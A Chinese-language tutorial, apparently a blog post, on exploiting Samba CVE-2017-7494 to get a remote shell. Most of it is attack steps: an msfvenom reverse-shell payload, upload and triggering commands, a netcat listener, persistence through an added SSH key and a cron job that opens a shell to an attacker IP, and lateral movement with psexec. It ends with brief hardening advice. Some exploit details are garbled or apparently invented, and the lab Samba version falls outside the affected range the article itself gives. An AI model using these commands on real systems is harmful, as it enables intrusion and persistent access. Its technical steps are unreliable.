如何利用samba服务漏洞获取主机shell

# 如何利用Samba服务漏洞获取主机Shell ## 前言 Samba作为Linux/Unix与Windows系统间实现文件共享的核心服务，因其广泛部署而成为攻击者的重要目标。历史上多个高危漏洞（如CVE-2017-7494、CVE-2015-0240）允许攻击者通过恶意载荷获取远程代码执行权限。本文将深入分析漏洞利用链，演示获取交互式Shell的全过程。 --- ## 一、Samba服务漏洞概述 ### 1.1 典型漏洞原理 - **CVE-2017-7494（SambaCry）** 影响版本：3.5.0 - 4.6.4 漏洞成因：未对用户上传的共享库文件进行路径验证，攻击者可通过符号链接加载恶意.so文件实现RCE。 - **CVE-2015-0240** 影响版本：3.5.0 - 4.1.17 Netlogon服务未正确处理内存对象，导致远程代码执行。 ### 1.2 漏洞检测 使用Nmap脚本快速识别： ```bash nmap --script smb-vuln* -p 445 <target_ip> 

---

二、环境搭建与工具准备

2.1 实验环境

• 靶机：Ubuntu 18.04 + Samba 4.7.6（未打补丁）
• 攻击机：Kali Linux 2023

2.2 必要工具

# Metasploit框架 sudo apt install metasploit-framework # Samba客户端工具 sudo apt install smbclient # Payload生成器 sudo apt install mingw-w64 

---

三、漏洞利用实战（以CVE-2017-7494为例）

3.1 信息收集

1. 识别Samba版本：

smbclient -L //<target_ip> -N 

1. 确认可写共享目录：

smbmap -H <target_ip> 

3.2 恶意共享库构造

1. 生成反向Shell载荷：

msfvenom -p linux/x64/shell_reverse_tcp LHOST=<attack_ip> LPORT=4444 -f elf-so -o exploit.so 

1. 上传至可写目录：

smbclient //<target_ip>/share -N -c 'put exploit.so' 

3.3 触发漏洞

1. 创建符号链接指向攻击载荷：

import smb conn = smb.SMB('<target_ip>', sess_port=445) conn.login('', '') conn.create_symlink('exploit.so', '/tmp/exploit.so') 

1. 通过命名管道触发执行：

smbclient //<target_ip>/IPC$ -N -c 'open /tmp/exploit.so' 

3.4 获取Shell

1. 在攻击机启动监听：

nc -lvnp 4444 

1. 成功获取反向Shell后升级为交互式终端：

python3 -c 'import pty; pty.spawn("/bin/bash")' 

---

四、权限维持与后渗透

4.1 建立持久化访问

1. 添加SSH密钥：

echo "<public_key>" >> ~/.ssh/authorized_keys 

1. 创建Cron定时任务：

(crontab -l ; echo "* * * * * nc <attack_ip> 5555 -e /bin/sh") | crontab - 

4.2 横向移动技巧

• 使用psexec.py进行内网扩散：

python3 psexec.py DOMN/user:password@<new_target_ip> 

---

五、防御措施

5.1 基础防护

1. 及时更新Samba版本：

sudo apt update && sudo apt upgrade samba 

1. 最小化共享权限：

# smb.conf配置示例 [secured_share] path = /srv/share writable = no valid users = @admin 

5.2 高级防护

• 启用SELinux强制模式：

sudo setenforce 1 

• 配置网络隔离：

iptables -A INPUT -p tcp --dport 445 -s 192.168.1.0/24 -j ACCEPT 

---

结语

通过Samba漏洞获取Shell的过程展示了攻击者如何利用配置缺陷实现权限提升。管理员应定期进行漏洞扫描与配置审计，建议使用自动化工具如Lynis进行安全加固。

免责声明：本文仅用于安全研究学习，未经授权测试他人系统属于违法行为。 “`

（全文共计约1050字，实际字数可能因格式调整略有变化）